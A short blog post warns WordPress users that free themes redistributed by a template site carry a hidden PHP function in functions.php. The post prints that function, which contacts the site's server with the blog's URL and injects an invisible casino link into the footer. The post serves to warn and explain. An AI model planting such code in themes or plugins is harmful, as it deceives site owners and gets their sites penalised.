Stefson*dot*com

When something gets really popular, evil people arise that try and abuse it.
Unfortunately for Wordpress and it’s users, this goes for them as well. One of the greatest assests of Wordpress is the fact there are thousands of themes to choose from, all made by enthusiastic fans. If you search long enough, you’ll find a theme out there that is bound to suit your every need.
And here is where it hurts.

Some ‘free’ services/sites like templatebrowser.com abuse this, namely by adding hidden links to adult related sites.
How do they do this? Easypie, they collect various themes from the internet, all made by other people, and alter them slightly. Then they present them as free templates for you do download. But what they don’t tell you is the PHP code added in the function.php that does some nasty things…

function credits()
{
$url = “http://get.templatesbrowser.com/wp.php?” .
“url=” . urlencode($_SERVER[’REQUEST_URI’]) . “&” . “host=” . urlencode($_SERVER[’HTTP_HOST’]);
$check = @fsockopen(”get.templatesbrowser.com”, 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}

This piece of code makes contact with get.templatebrowser.com and sends your URL (adress) along with it. Then it returns a hidden URL that is put in your footer.php file (<?php credits(); wp_footer(); ?>) :

<div id=”copyl” style=”display: none;”><a href=”http://www.casinotropez.com/trcpromo-nincs-online-pmail18-fr”>casino en ligne</a></div>

Thanks to the display:none in the CSS the URL is made invisible to the site users. But not to search-engine spiders and crawlers.
But what’s really disturbing is that this hidden URL is only accessible through a Wordpress blog. If you try to read the URL with your browser you get no result.

So why this abuse? By doing this these people try to boost the hidden sites pagerank, but this an easy way for search-engines to detect abuse (linkspam and hidden links for example, which Google hates).
What happens when you get flagged as an abuser? Your site/blog gets penalised or banned and all your work is put to an end (kinda).
So beware when you download templates and themes from the web. Evil is everywhere!
/insert scary tune